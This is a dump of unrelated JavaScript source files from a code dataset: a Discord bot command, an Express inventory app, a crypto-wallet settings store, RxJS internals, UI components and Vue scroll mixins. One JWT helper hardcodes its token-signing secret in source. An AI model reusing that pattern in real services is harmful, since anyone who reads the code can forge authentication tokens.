text
stringlengths 2
1.05M
|
|---|
const { Command } = require('@dyno.gg/dyno-core');
const superagent = require('superagent');
class Birb extends Command {
constructor(...args) {
super(...args);
this.aliases = ['bird', 'birb', 'lunar'];
this.module = 'Fun';
this.description = 'Random Adorable Birdies';
this.usage = 'bird';
this.example = 'bird';
this.cooldown = 7500;
this.expectedArgs = 0;
}
async execute({ message }) {
const errorText = `Error: ${this.config.emojis.sadcat || '🐦'} No birds found.`;
try {
const utils = this.utils;
const responses = [
{ search: 'Looking for some birdies...', found: 'Found one!' },
];
const response = responses[utils.getRandomInt(0, responses.length - 1)];
const msg = await this.sendMessage(message.channel, response.search);
let res = await superagent.get('https://random.birb.pw/tweet/');
return msg.edit({
content: response.found,
embed: {
title: 'Tweet Tweet..',
color: 0x008080,
image: {
url: `https://random.birb.pw/img/${res.text}`,
},
url: `https://random.birb.pw/img/${res.text}`,
},
});
} catch (err) {
return this.error(message.channel, errorText);
}
}
}
module.exports = Birb;
|
const express = require('express');
const app = express();
const bodyparser = require('body-parser');
const mongoose = require('mongoose');
const ejs = require('ejs');
const Entities = require('html-entities').AllHtmlEntities;
const entities = new Entities();
app.set('view engine', 'ejs');
app.use(bodyparser.json());//parsing the application/json
app.use(bodyparser.urlencoded({ extended: true }));//parses the x-www-form-urlencoded
Material = require('./models/material');
Suppliers = require('./models/supplier');
mongoose.connect('mongodb://localhost/inventory');
var db = mongoose.connection;
function today(){
var date = new Date();
var todaydate = date.toDateString();
var minutes = date.getUTCMinutes();
var hours = date.getHours();
var seconds = date.getSeconds();
var format = hours+':'+minutes+':'+seconds+' '+todaydate;
return format ;
};
function sanitizer(string){
string = entities.encode(string);
return string;
}
//getting to the index
app.get('/index',(req ,res)=>{
res.render('index');
});
//getting addmaterial page
app.get('/addmaterial' , (req ,res)=>{
res.render('addmaterial');
});
//getting editmaterial page
app.get('/editmaterial/:id',(req, res)=>{
var id = req.params.id;
res.render('editmaterial',{ id:id });
});
//getting materials
app.get('/materials',(req , res)=>{
Material.getMaterials((err , materials)=>{
if(err){
res.render('material' , {
msg:'Error in getting details..'
});
}
else{
var obj = materials;
res.render('material', { obj:obj } );
}
})
});
// add the materials
app.post('/addmaterial',(req, res)=>{
var name = entities.encode(req.body.name);
var price = entities.encode(req.body.price);
var qty = entities.encode(req.body.qty);
var state = entities.encode(req.body.state);
var on = today();
Material.addMaterial({
name:name,price:price,qty:qty,state:state,created_on:on
} , (err , material)=>{
if(err)
{ res.render('addmaterial', {
msg:'Please fill required details!'
})}
var obj = material;
// res.render('addmaterial' , {
// msg:'successfully submit!!'
//});
res.redirect('/materials');
});
});
// update the material data
app.post('/editmaterial/:id',(req ,res)=>{
var id = req.params.id;
var name = entities.encode(req.body.name);
var price = entities.encode(req.body.price);
var qty = entities.encode(req.body.qty);
var state = entities.encode(req.body.state);
//for creating date
var on = today();
Material.updateMaterial(id , {
name:name,price:price,qty:qty,state:state,created_on:on
},{}, (err , callback)=>{
if(err){
res.render('editmaterial', {msg:"Error Occured."});
}
// res.render('editmaterial' ,{ id:id ,msg:"Successfully updated!!"} );
res.redirect('/materials');
});
});
//delete the data of materials
app.post('/deletematerial/:_id',(req , res)=>{
var id = req.params._id;
Material.removeMaterial(id , (err ,callback)=>{
if(err){throw err}
res.redirect('/materials');
} );
});
app.post('/showmaterials/:id',(req ,res)=>{
var id = req.params.id;
Material.findbyid(id , (err , materials)=>{
if(err){throw err;}
var obj = materials;
res.render('showmaterials', {obj:obj});
});
});
//--------------------------------------------------
app.get('/addsupplier',(req,res)=>{
res.render('addsupplier');
});
app.get('/editsupplier/:id',(req,res)=>{
var id = req.params.id;
res.render('editsupplier', {id:id});
});
// finds the suppliers
app.get('/suppliers',(req, res)=>{
Suppliers.getSuppliers((err , suppliers)=>{
if(err)
{
res.render('supplier' , {
msg:'some error occured!!'
});
}
var obj = suppliers;
res.render('supplier' , {obj:obj});
});
});
app.post('/addsupplier' , (req ,res)=>{
var cmpname = sanitizer(req.body.cmpname);
var materialname = sanitizer(req.body.materialname);
var state = sanitizer(req.body.state);
var emailid = sanitizer(req.body.emailid);
var contactno = sanitizer(req.body.contactno);
var address = sanitizer(req.body.address);
var costprice = sanitizer(req.body.costprice);
var qty = sanitizer(req.body.qty);
var on = today();
var supplier = {cmpname:cmpname, materialname:materialname, state:state, emailid:emailid,
contactno:contactno, address:address, costprice:costprice, qty:qty ,created_on:on };
Suppliers.addSupplier(supplier , (err , supplier)=>{
if(err){throw err}
res.redirect('/suppliers');
})
});
// //add suppliers
// app.post('/addsupplier',(req ,res)=>{
// var supplier = req.body;
// Suppliers.addSupplier(supplier , (err, supplier)=>{
// if(err){
// throw err;
// }
// res.json(supplier);
// });
// });
//update the supplier data
app.get('/showsupplier/:id',(req , res)=>{
var id = req.params.id;
Suppliers.getSuppliersById(id , (err , supplier)=>{
if(err){throw err}
var obj = supplier;
res.render('showsupplier', {obj:obj});
});
});
app.post('/editsupplier/:_id',(req ,res)=>{
var id = req.params._id;
var cmpname = sanitizer(req.body.cmpname);
var materialname = sanitizer(req.body.materialname);
var state = sanitizer(req.body.state);
var emailid = sanitizer(req.body.emailid);
var contactno = sanitizer(req.body.contactno);
var address = sanitizer(req.body.address);
var costprice = sanitizer(req.body.costprice);
var qty = sanitizer(req.body.qty);
var on = today();
var supplier = {cmpname:cmpname, materialname:materialname, state:state, emailid:emailid,
contactno:contactno, address:address, costprice:costprice, qty:qty ,created_on:on };
Suppliers.updateSupplier(id , supplier ,{},(err , supplier)=>{
if(err){
throw err
}
res.redirect('/suppliers');
});
} );
//delete the data from supplier ...
app.post('/deletesupplier/:_id',(req,res)=>{
var id = req.params._id;
Suppliers.removeSupplier(id, (err , callback)=>{
if(err){throw err}
res.redirect('/suppliers');
});
});
app.listen(8080, ()=>{
console.log('running in port 8080..');
});
|
import testSettingList from '../samples/chart-config/testSettingList';
import { readFile, readFileSync } from 'fs';
import d3 from 'd3';
import { merge } from 'd3';
import jsdom from 'jsdom';
import webcharts from '../../build/webcharts';
import expect from 'expect';
import testCreateChart from '../chart/createChart';
import testRendering from '../chart/rendering';
var settingsList = [];
var numLoaded = 0;
var testSettingList_charts = testSettingList.filter(function(d) {
return d.type == 'charts';
});
testSettingList_charts.forEach(function(d) {
var path = require('path');
var jsonPath = path.join(__dirname, '..', 'samples', 'chart-config', d.filename);
var jsonRaw = readFileSync(jsonPath, 'utf8');
var jsonData = JSON.parse(jsonRaw);
settingsList = merge([settingsList, jsonData]);
numLoaded = numLoaded + 1;
if (numLoaded == testSettingList_charts.length) runTests(settingsList);
//if (numLoaded == 1) runTests(settingsList);
});
function runTests(settingsList) {
it('run tests once for each settings object', done => {
settingsList.forEach((settings, i) => {
const dataFile = `./test/samples/data/${settings.filename}`,
raw = readFileSync(dataFile, 'utf8'),
data = d3.csv.parse(raw);
describe(`Chart Test ${i + 1} of ${settingsList.length}: ${settings.label}. `, () => {
describe('Create Chart. ', () => {
testCreateChart(settings.settings, false);
});
describe('Render Chart. ', () => {
testRendering(settings.settings, data, false);
});
});
});
done();
});
}
|
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _styleToHexColor = require('./styleToHexColor');
var _styleToHexColor2 = _interopRequireDefault(_styleToHexColor);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
exports.default = {
get reset() {
throw new Error();
},
// text style
bold: { open: 'font-weight: bold', close: 'font-weight: normal' },
italic: { open: 'font-style: italic', close: 'font-style: normal' },
underline: { open: 'text-decoration: underline', close: 'text-decoration: none' },
inverse: {
open: 'unicode-bidi: bidi-override; direction: rtl',
close: 'unicode-bidi: normal; direction: ltr'
},
strikethrough: { open: 'text-decoration: line-through', close: 'text-decoration: none' },
black: { open: 'color: black', close: 'color: initial' },
red: { open: 'color: #ff0020', close: 'color: initial' },
green: { open: 'color: #00b317', close: 'color: initial' },
yellow: { open: 'color: #ffcc00', close: 'color: initial' },
blue: { open: 'color: #00a0ff', close: 'color: initial' },
magenta: { open: 'color: #ff00a0', close: 'color: initial' },
cyan: { open: 'color: #00cfd8', close: 'color: initial' },
white: { open: 'color: white', close: 'color: initial' },
gray: { open: 'color: gray', close: 'color: initial' },
bgBlack: { open: 'background: black', close: 'background: initial' },
bgRed: { open: 'background: #ff0020', close: 'background: initial' },
bgGreen: { open: 'background: #00b317', close: 'background: initial' },
bgYellow: { open: 'background: #ffcc00', close: 'background: initial' },
bgBlue: { open: 'background: #00a0ff', close: 'background: initial' },
bgMagenta: { open: 'background: #ff00a0', close: 'background: initial' },
bgCyan: { open: 'background: #00cfd8', close: 'background: initial' },
bgWhite: { open: 'background: white', close: 'background: initial' },
orange: { open: `color: #${_styleToHexColor2.default.orange}`, close: 'color: initial' },
grayLight: { open: `color: #${_styleToHexColor2.default.grayLight}`, close: 'color: initial' },
'gray-light': { open: `color: #${_styleToHexColor2.default.grayLight}`, close: 'color: initial' }
};
//# sourceMappingURL=styleToHtmlStyle.js.map
|
// @flow
import { observable, action, runInAction, computed } from 'mobx';
import { findIndex } from 'lodash';
import Store from './lib/Store';
import Request from './lib/LocalizedRequest';
import Wallet from '../domains/Wallet';
import { WALLET_UTXO_API_REQUEST_INTERVAL } from '../config/timingConfig';
import { getRecoveryWalletIdChannel } from '../ipc/getRecoveryWalletIdChannel';
import { getStatusFromWalletData } from '../utils/walletRecoveryPhraseVerificationUtils';
import { getRawWalletId } from '../api/utils';
import type { WalletExportToFileParams } from '../actions/wallet-settings-actions';
import type { WalletUtxos } from '../api/wallets/types';
import type { WalletLocalData } from '../api/utils/localStorage';
import { RECOVERY_PHRASE_VERIFICATION_STATUSES } from '../config/walletRecoveryPhraseVerificationConfig';
export default class WalletSettingsStore extends Store {
@observable updateWalletRequest: Request<Wallet> = new Request(
this.api.ada.updateWallet
);
@observable updateSpendingPasswordRequest: Request<boolean> = new Request(
this.api.ada.updateSpendingPassword
);
@observable exportWalletToFileRequest: Request<Promise<[]>> = new Request(
this.api.ada.exportWalletToFile
);
@observable getWalletUtxosRequest: Request<WalletUtxos> = new Request(
this.api.ada.getWalletUtxos
);
@observable walletFieldBeingEdited = null;
@observable lastUpdatedWalletField = null;
@observable walletUtxos: ?WalletUtxos = null;
@observable recoveryPhraseStep = 0;
pollingApiInterval: ?IntervalID = null;
setup() {
const {
walletSettings: walletSettingsActions,
sidebar: sidebarActions,
} = this.actions;
walletSettingsActions.startEditingWalletField.listen(
this._startEditingWalletField
);
walletSettingsActions.stopEditingWalletField.listen(
this._stopEditingWalletField
);
walletSettingsActions.cancelEditingWalletField.listen(
this._cancelEditingWalletField
);
walletSettingsActions.updateWalletField.listen(this._updateWalletField);
walletSettingsActions.updateSpendingPassword.listen(
this._updateSpendingPassword
);
walletSettingsActions.exportToFile.listen(this._exportToFile);
walletSettingsActions.startWalletUtxoPolling.listen(
this._startWalletUtxoPolling
);
walletSettingsActions.stopWalletUtxoPolling.listen(
this._stopWalletUtxoPolling
);
walletSettingsActions.recoveryPhraseVerificationContinue.listen(
this._recoveryPhraseVerificationContinue
);
walletSettingsActions.recoveryPhraseVerificationCheck.listen(
this._recoveryPhraseVerificationCheck
);
walletSettingsActions.recoveryPhraseVerificationClose.listen(
this._recoveryPhraseVerificationClose
);
sidebarActions.walletSelected.listen(this._onWalletSelected);
}
// =================== PUBLIC API ==================== //
// GETTERS
getWalletsRecoveryPhraseVerificationData = (walletId: string) =>
this.walletsRecoveryPhraseVerificationData[walletId] || {};
@computed get walletsRecoveryPhraseVerificationData() {
const { all: walletsLocalData } = this.stores.walletsLocal;
// $FlowFixMe
return Object.values(walletsLocalData).reduce(
(
obj,
{ id, recoveryPhraseVerificationDate, creationDate }: WalletLocalData
) => {
const {
recoveryPhraseVerificationStatus,
recoveryPhraseVerificationStatusType,
} = getStatusFromWalletData({
creationDate,
recoveryPhraseVerificationDate,
});
const hasNotification =
recoveryPhraseVerificationStatus ===
RECOVERY_PHRASE_VERIFICATION_STATUSES.NOTIFICATION &&
!global.isIncentivizedTestnet;
obj[id] = {
id,
recoveryPhraseVerificationDate,
creationDate,
recoveryPhraseVerificationStatus,
recoveryPhraseVerificationStatusType,
hasNotification,
};
return obj;
},
{}
);
}
// =================== PRIVATE API ==================== //
@action _startEditingWalletField = ({ field }: { field: string }) => {
this.walletFieldBeingEdited = field;
};
@action _stopEditingWalletField = () => {
if (this.walletFieldBeingEdited) {
this.lastUpdatedWalletField = this.walletFieldBeingEdited;
}
this.walletFieldBeingEdited = null;
};
@action _cancelEditingWalletField = () => {
this.lastUpdatedWalletField = null;
this.walletFieldBeingEdited = null;
};
@action _updateSpendingPassword = async ({
walletId,
oldPassword,
newPassword,
isLegacy,
}: {
walletId: string,
oldPassword: string,
newPassword: string,
isLegacy: boolean,
}) => {
await this.updateSpendingPasswordRequest.execute({
walletId,
oldPassword,
newPassword,
isLegacy,
});
this.actions.dialogs.closeActiveDialog.trigger();
this.updateSpendingPasswordRequest.reset();
this.stores.wallets.refreshWalletsData();
};
@action _updateWalletField = async ({
field,
value,
}: {
field: string,
value: string,
}) => {
const activeWallet = this.stores.wallets.active;
if (!activeWallet) return;
const { id: walletId, name, isLegacy } = activeWallet;
const walletData = { walletId, name, isLegacy };
walletData[field] = value;
const wallet = await this.updateWalletRequest.execute({
walletId: walletData.walletId,
name: walletData.name,
isLegacy: walletData.isLegacy,
}).promise;
if (!wallet) return;
await this.stores.wallets.walletsRequest.patch((result) => {
const walletIndex = findIndex(result, { id: walletId });
result[walletIndex] = wallet;
});
this.updateWalletRequest.reset();
this.stores.wallets.refreshWalletsData();
};
@action _exportToFile = async (params: WalletExportToFileParams) => {
const { walletId, filePath, password } = params;
await this.exportWalletToFileRequest.execute({
walletId,
filePath,
password,
});
this.actions.dialogs.closeActiveDialog.trigger();
};
@action _startWalletUtxoPolling = () => {
this._getWalletUtxoApiData();
this._stopWalletUtxoPolling();
this.pollingApiInterval = setInterval(
this._getWalletUtxoApiData,
WALLET_UTXO_API_REQUEST_INTERVAL
);
};
@action _stopWalletUtxoPolling = () => {
if (this.pollingApiInterval) clearInterval(this.pollingApiInterval);
};
@action _getWalletUtxoApiData = async () => {
const activeWallet = this.stores.wallets.active;
if (!activeWallet) return;
const { id: walletId, isLegacy } = activeWallet;
const walletUtxos = await this.getWalletUtxosRequest.execute({
walletId,
isLegacy,
});
this._updateWalletUtxos(walletUtxos);
};
@action _updateWalletUtxos = (walletUtxos: ?WalletUtxos) => {
this.walletUtxos = walletUtxos;
};
@action _onWalletSelected = () => {
this._updateWalletUtxos(null);
};
/* ==========================================================
= Wallet Recovery Phrase Verification =
========================================================== */
@action _recoveryPhraseVerificationContinue = async () => {
const step = this.recoveryPhraseStep;
if (step === 4) this.recoveryPhraseStep = 2;
else this.recoveryPhraseStep = step + 1;
};
@action _recoveryPhraseVerificationClose = async () => {
this.recoveryPhraseStep = 0;
};
@action _recoveryPhraseVerificationCheck = async ({
recoveryPhrase,
}: {
recoveryPhrase: Array<string>,
}) => {
const walletId = await getRecoveryWalletIdChannel.request(recoveryPhrase);
if (!walletId)
throw new Error('It was not possible to retrieve the walletId.');
const activeWallet = this.stores.wallets.active;
if (!activeWallet)
throw new Error(
'Active wallet required before checking recovery phrase.'
);
const activeWalletId = getRawWalletId(activeWallet.id);
const isCorrect = walletId === activeWalletId;
const nextStep = isCorrect ? 3 : 4;
if (isCorrect) {
const recoveryPhraseVerificationDate = new Date();
await this.actions.walletsLocal.setWalletLocalData.trigger({
walletId: activeWallet.id,
updatedWalletData: { recoveryPhraseVerificationDate },
});
}
runInAction(
'AdaWalletBackupStore::_recoveryPhraseVerificationCheck',
() => {
this.recoveryPhraseStep = nextStep;
}
);
};
/* ==== End of Wallet Recovery Phrase Verification ===== */
}
|
"use strict";
var __extends = (this && this.__extends) || (function () {
var extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
return function (d, b) {
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
Object.defineProperty(exports, "__esModule", { value: true });
var Subscriber_1 = require("../Subscriber");
var Observable_1 = require("../Observable");
var OuterSubscriber_1 = require("../OuterSubscriber");
var subscribeToResult_1 = require("../util/subscribeToResult");
/**
* Delays the emission of items from the source Observable by a given time span
* determined by the emissions of another Observable.
*
* <span class="informal">It's like {@link delay}, but the time span of the
* delay duration is determined by a second Observable.</span>
*
* <img src="./img/delayWhen.png" width="100%">
*
* `delayWhen` time shifts each emitted value from the source Observable by a
* time span determined by another Observable. When the source emits a value,
* the `delayDurationSelector` function is called with the source value as
* argument, and should return an Observable, called the "duration" Observable.
* The source value is emitted on the output Observable only when the duration
* Observable emits a value or completes.
*
* Optionally, `delayWhen` takes a second argument, `subscriptionDelay`, which
* is an Observable. When `subscriptionDelay` emits its first value or
* completes, the source Observable is subscribed to and starts behaving like
* described in the previous paragraph. If `subscriptionDelay` is not provided,
* `delayWhen` will subscribe to the source Observable as soon as the output
* Observable is subscribed.
*
* @example <caption>Delay each click by a random amount of time, between 0 and 5 seconds</caption>
* var clicks = Rx.Observable.fromEvent(document, 'click');
* var delayedClicks = clicks.delayWhen(event =>
* Rx.Observable.interval(Math.random() * 5000)
* );
* delayedClicks.subscribe(x => console.log(x));
*
* @see {@link debounce}
* @see {@link delay}
*
* @param {function(value: T): Observable} delayDurationSelector A function that
* returns an Observable for each value emitted by the source Observable, which
* is then used to delay the emission of that item on the output Observable
* until the Observable returned from this function emits a value.
* @param {Observable} subscriptionDelay An Observable that triggers the
* subscription to the source Observable once it emits any value.
* @return {Observable} An Observable that delays the emissions of the source
* Observable by an amount of time specified by the Observable returned by
* `delayDurationSelector`.
* @method delayWhen
* @owner Observable
*/
function delayWhen(delayDurationSelector, subscriptionDelay) {
if (subscriptionDelay) {
return function (source) {
return new SubscriptionDelayObservable(source, subscriptionDelay)
.lift(new DelayWhenOperator(delayDurationSelector));
};
}
return function (source) { return source.lift(new DelayWhenOperator(delayDurationSelector)); };
}
exports.delayWhen = delayWhen;
var DelayWhenOperator = /** @class */ (function () {
function DelayWhenOperator(delayDurationSelector) {
this.delayDurationSelector = delayDurationSelector;
}
DelayWhenOperator.prototype.call = function (subscriber, source) {
return source.subscribe(new DelayWhenSubscriber(subscriber, this.delayDurationSelector));
};
return DelayWhenOperator;
}());
/**
* We need this JSDoc comment for affecting ESDoc.
* @ignore
* @extends {Ignored}
*/
var DelayWhenSubscriber = /** @class */ (function (_super) {
__extends(DelayWhenSubscriber, _super);
function DelayWhenSubscriber(destination, delayDurationSelector) {
var _this = _super.call(this, destination) || this;
_this.delayDurationSelector = delayDurationSelector;
_this.completed = false;
_this.delayNotifierSubscriptions = [];
_this.values = [];
return _this;
}
DelayWhenSubscriber.prototype.notifyNext = function (outerValue, innerValue, outerIndex, innerIndex, innerSub) {
this.destination.next(outerValue);
this.removeSubscription(innerSub);
this.tryComplete();
};
DelayWhenSubscriber.prototype.notifyError = function (error, innerSub) {
this._error(error);
};
DelayWhenSubscriber.prototype.notifyComplete = function (innerSub) {
var value = this.removeSubscription(innerSub);
if (value) {
this.destination.next(value);
}
this.tryComplete();
};
DelayWhenSubscriber.prototype._next = function (value) {
try {
var delayNotifier = this.delayDurationSelector(value);
if (delayNotifier) {
this.tryDelay(delayNotifier, value);
}
}
catch (err) {
this.destination.error(err);
}
};
DelayWhenSubscriber.prototype._complete = function () {
this.completed = true;
this.tryComplete();
};
DelayWhenSubscriber.prototype.removeSubscription = function (subscription) {
subscription.unsubscribe();
var subscriptionIdx = this.delayNotifierSubscriptions.indexOf(subscription);
var value = null;
if (subscriptionIdx !== -1) {
value = this.values[subscriptionIdx];
this.delayNotifierSubscriptions.splice(subscriptionIdx, 1);
this.values.splice(subscriptionIdx, 1);
}
return value;
};
DelayWhenSubscriber.prototype.tryDelay = function (delayNotifier, value) {
var notifierSubscription = subscribeToResult_1.subscribeToResult(this, delayNotifier, value);
if (notifierSubscription && !notifierSubscription.closed) {
this.add(notifierSubscription);
this.delayNotifierSubscriptions.push(notifierSubscription);
}
this.values.push(value);
};
DelayWhenSubscriber.prototype.tryComplete = function () {
if (this.completed && this.delayNotifierSubscriptions.length === 0) {
this.destination.complete();
}
};
return DelayWhenSubscriber;
}(OuterSubscriber_1.OuterSubscriber));
/**
* We need this JSDoc comment for affecting ESDoc.
* @ignore
* @extends {Ignored}
*/
var SubscriptionDelayObservable = /** @class */ (function (_super) {
__extends(SubscriptionDelayObservable, _super);
function SubscriptionDelayObservable(source, subscriptionDelay) {
var _this = _super.call(this) || this;
_this.source = source;
_this.subscriptionDelay = subscriptionDelay;
return _this;
}
/** @deprecated This is an internal implementation detail, do not use. */
SubscriptionDelayObservable.prototype._subscribe = function (subscriber) {
this.subscriptionDelay.subscribe(new SubscriptionDelaySubscriber(subscriber, this.source));
};
return SubscriptionDelayObservable;
}(Observable_1.Observable));
/**
* We need this JSDoc comment for affecting ESDoc.
* @ignore
* @extends {Ignored}
*/
var SubscriptionDelaySubscriber = /** @class */ (function (_super) {
__extends(SubscriptionDelaySubscriber, _super);
function SubscriptionDelaySubscriber(parent, source) {
var _this = _super.call(this) || this;
_this.parent = parent;
_this.source = source;
_this.sourceSubscribed = false;
return _this;
}
SubscriptionDelaySubscriber.prototype._next = function (unused) {
this.subscribeToSource();
};
SubscriptionDelaySubscriber.prototype._error = function (err) {
this.unsubscribe();
this.parent.error(err);
};
SubscriptionDelaySubscriber.prototype._complete = function () {
this.subscribeToSource();
};
SubscriptionDelaySubscriber.prototype.subscribeToSource = function () {
if (!this.sourceSubscribed) {
this.sourceSubscribed = true;
this.unsubscribe();
this.source.subscribe(this.parent);
}
};
return SubscriptionDelaySubscriber;
}(Subscriber_1.Subscriber));
//# sourceMappingURL=delayWhen.js.map
|
macDetailCallback("003192000000/24",[{"d":"2020-09-25","t":"add","s":"ieee-oui.csv","a":"Room 901,9/F.New East Ocean Centre, 9 Science Museum Road Tsim Sha Tsui Kowloon HK 999077","c":"HK","o":"TP-Link Corporation Limited"}]);
|
const jwt = require("jsonwebtoken");
const APP_SECRET = "rharshad.com";
function getUserId(context) {
const Authorization = context.request.get("Authorization");
if (Authorization) {
const token = Authorization.replace("Bearer ", "");
const { userId } = jwt.verify(token, APP_SECRET);
return userId;
}
throw new Error("Not authenticated");
}
module.exports = {
getUserId,
APP_SECRET
};
|
/* @flow */
import { connect } from 'react-redux';
import React, { PureComponent } from 'react';
import { StyleSheet, View, ScrollView } from 'react-native';
import type { ChildrenArray, Context, Dimensions, LocalizableText, Style } from '../types';
import { KeyboardAvoider, ZulipStatusBar } from '../common';
import { getSession } from '../selectors';
import ModalNavBar from '../nav/ModalNavBar';
import ModalSearchNavBar from '../nav/ModalSearchNavBar';
import { connectPreserveOnBackOption } from '../utils/redux';
const componentStyles = StyleSheet.create({
wrapper: {
flex: 1,
justifyContent: 'center',
alignItems: 'stretch',
},
childrenWrapper: {
flex: 1,
},
content: {
flexGrow: 1,
justifyContent: 'center',
},
});
type Props = {
autoFocus: boolean,
centerContent: boolean,
children: ChildrenArray<*>,
safeAreaInsets: Dimensions,
keyboardShouldPersistTaps?: 'never' | 'always' | 'handled',
padding?: boolean,
search?: boolean,
title?: LocalizableText,
style?: Style,
searchBarOnChange?: (text: string) => void,
};
/**
* A component representing a distinct screen of the app
* ensuring consistent look-and-feel trhoughout.
* It can control the status bar, can render a nav bar or
* include a search input, center its contents, etc.
*
* @prop [autoFocus] - If search bar enabled, should it be focused initially.
* @prop [centerContent] - Should the contents be centered.
* @prop children - Components to render inside the screen.
* @prop safeAreaInsets - Supports safe area edge offsetting. Google 'iOS Safe Area'.
* @prop [keyboardShouldPersistTaps] - Sets the same prop value to the internal
* ScrollView component.
* @prop [padding] - Should padding be added to the contents of the screen.
* @prop [search] - If 'true' show a search box in place of the title.
* @prop [title] - Text shown as the title of the screen.
* @prop [style] - Additional style for the wrapper container.
* @prop searchBarOnChange - Event called on search query change.
*/
class Screen extends PureComponent<Props> {
context: Context;
props: Props;
static contextTypes = {
styles: () => null,
};
static defaultProps = {
autoFocus: false,
centerContent: false,
keyboardShouldPersistTaps: 'handled',
};
render() {
const {
autoFocus,
centerContent,
children,
keyboardShouldPersistTaps,
padding,
safeAreaInsets,
search,
searchBarOnChange,
style,
title,
} = this.props;
const { styles } = this.context;
return (
<View style={[styles.screen, { marginBottom: safeAreaInsets.bottom }]}>
<ZulipStatusBar />
{search ? (
<ModalSearchNavBar autoFocus={autoFocus} searchBarOnChange={searchBarOnChange} />
) : (
<ModalNavBar title={title} />
)}
<KeyboardAvoider
behavior="padding"
style={[componentStyles.wrapper, padding && styles.padding]}
contentContainerStyle={[padding && styles.padding]}
>
<ScrollView
style={componentStyles.childrenWrapper}
contentContainerStyle={[centerContent && componentStyles.content, style]}
keyboardShouldPersistTaps={keyboardShouldPersistTaps}
>
{children}
</ScrollView>
</KeyboardAvoider>
</View>
);
}
}
export default connect(
(state, props) => ({
safeAreaInsets: getSession(state).safeAreaInsets,
}),
null,
null,
connectPreserveOnBackOption,
)(Screen);
|
/*
Template Name: Color Admin - Responsive Admin Dashboard Template build with Twitter Bootstrap 3.3.7
Version: 2.1.0
Author: Sean Ngu
Website: http://www.seantheme.com/color-admin-v2.1/admin/material/
*/var handleDataTableCombinationSetting=function(){"use strict";0!==$("#data-table").length&&$("#data-table").DataTable({dom:"lBfrtip",buttons:[{extend:"copy",className:"btn-sm"},{extend:"csv",className:"btn-sm"},{extend:"excel",className:"btn-sm"},{extend:"pdf",className:"btn-sm"},{extend:"print",className:"btn-sm"}],responsive:!0,autoFill:!0,colReorder:!0,keys:!0,rowReorder:!0,select:!0})},TableManageCombine=function(){"use strict";return{init:function(){handleDataTableCombinationSetting()}}}();
|
/**
* Pimcore
*
* This source file is available under two different licenses:
* - GNU General Public License version 3 (GPLv3)
* - Pimcore Enterprise License (PEL)
* Full copyright and license information is available in
* LICENSE.md which is distributed with this source code.
*
* @copyright Copyright (c) 2009-2016 pimcore GmbH (http://www.pimcore.org)
* @license http://www.pimcore.org/license GPLv3 and PEL
*/
pimcore.registerNS("pimcore.settings.maintenance");
pimcore.settings.maintenance = Class.create({
initialize: function () {
this.window = new Ext.Window({
layout:'fit',
width:500,
height:200,
closeAction:'close',
modal: true,
items: [{
xtype: "panel",
border: false,
bodyStyle: "padding:20px;font-size:14px;",
html: "<b style='color:red;'>WARNING</b><br />If you activate the maintenance mode all services "
+ "(website, admin, api, ...) will be deactivated. This should be only done by administrators!"
+ "<br />Only this browser (session) will be still able to access the services."
}],
buttons: [{
text: t("activate"),
iconCls: "pimcore_icon_apply",
handler: this.activate.bind(this)
}]
});
pimcore.viewport.add(this.window);
this.window.show();
},
activate: function () {
this.window.close();
pimcore.helpers.activateMaintenance();
},
deactivate: function () {
pimcore.helpers.deactivateMaintenance();
}
});
|
import StatusIndicator from '@/components/misc/feedingFrenzy/StatusIndicator'
export const feedingFrenzy = {
components: {StatusIndicator},
data() {
return {
fetchedData: [],
loading4More: false,
reachedEnd: false,
}
},
// this.$options.nonReactiveData {
offsetProp: 'id',
// }
computed: {
lastInList() {
return this.fetchedData[this.fetchedData.length-1]
},
urlConstruct() {
const u = this.feedUrl
return `${u.slice(-1)=="&" ? u : u+"?"}offset=${this.lastInList[this.$options.offsetProp]}`
},
scrollCtnr() { return this.$refs.feed },
},
created() {
this.firstFetch()
},
mounted() {
this.scrllActive()
},
methods: {
fetch(url=this.urlConstruct, resAction=this.fillFeeder) {
this.loading4More = true
this.$axios.get(url,
this.$store.state.auth.head)
.then(res => {
if (res.data.length == 0) this.reachedEnd = true
resAction(res.data)
this.loading4More = false
})
},
fillFeeder(data) {this.fetchedData.push(...data)},
firstFetch() { // careful as it may duplicated requests
const replace = (data) => this.fetchedData = data
this.fetch(this.feedUrl, replace)
this.reachedEnd = false
this.$nextTick(() => {
try {
this.scrollCtnr.scrollTop = 0
} catch (error) {
// console.log("CATCHED: "+error)
}
})
},
scrllActive() {
const scrllable = this.scrollCtnr
scrllable.scrollTop = this.lastScrollPosition
scrllable.addEventListener('scroll', () => {
// Infinite scroll. 500px till bottom of page
if (scrllable.scrollTop + scrllable.clientHeight > scrllable.scrollHeight - 500) {
if (!this.loading4More && !this.reachedEnd) {
this.fetch(this.urlConstruct, this.fillFeeder)
}
}
}, { capture: false, passive: true })
}
},
}
export const postFeed = {
watch: {
'fetchedData.length'(newVal) { // virtual scroll substitute
if (newVal > 100) {
this.fetchedData = this.fetchedData.slice(-10)
}
}
},
activated() {
const update = this.$store.state.postx.currentPost
if (update) {
const post = this.fetchedData.find(post => post.id == update.id)
if (post && update.reactions) {
post.my_react = update.my_react
this.$set(post, 'reactions', update.reactions)
this.$store.commit('postx/LOAD_POST', null)
}
}
},
}
export const refreshFrenzy = {
activated() {
if (this.fetchedData.length) {
this.firstFetch()
}
},
}
export const scrlDirection = {
// this.$options.nonReactiveData {
prevScrTp: 0,
// }
computed: {
scrolling_up() {
return this.$store.state.scrollinUp
},
scrollCtnr() { return this.$refs.feed },
},
activated() { if (!this.scrolling_up) this.$store.commit('TOGGLE_SCRL_DIR') },
mounted() {
const scrllable = this.scrollCtnr
scrllable.scrollTop = this.lastScrollPosition
scrllable.addEventListener('scroll', () => {
if (scrllable.scrollTop > this.$options.prevScrTp) {
if (this.scrolling_up) this.$store.commit('TOGGLE_SCRL_DIR')
} else if (!this.scrolling_up) this.$store.commit('TOGGLE_SCRL_DIR')
this.$options.prevScrTp = scrllable.scrollTop
}, {
capture: false,
passive: true
})
},
}
export const maintainScrllPos = {
// https://github.com/vuejs/vue-router/issues/1187
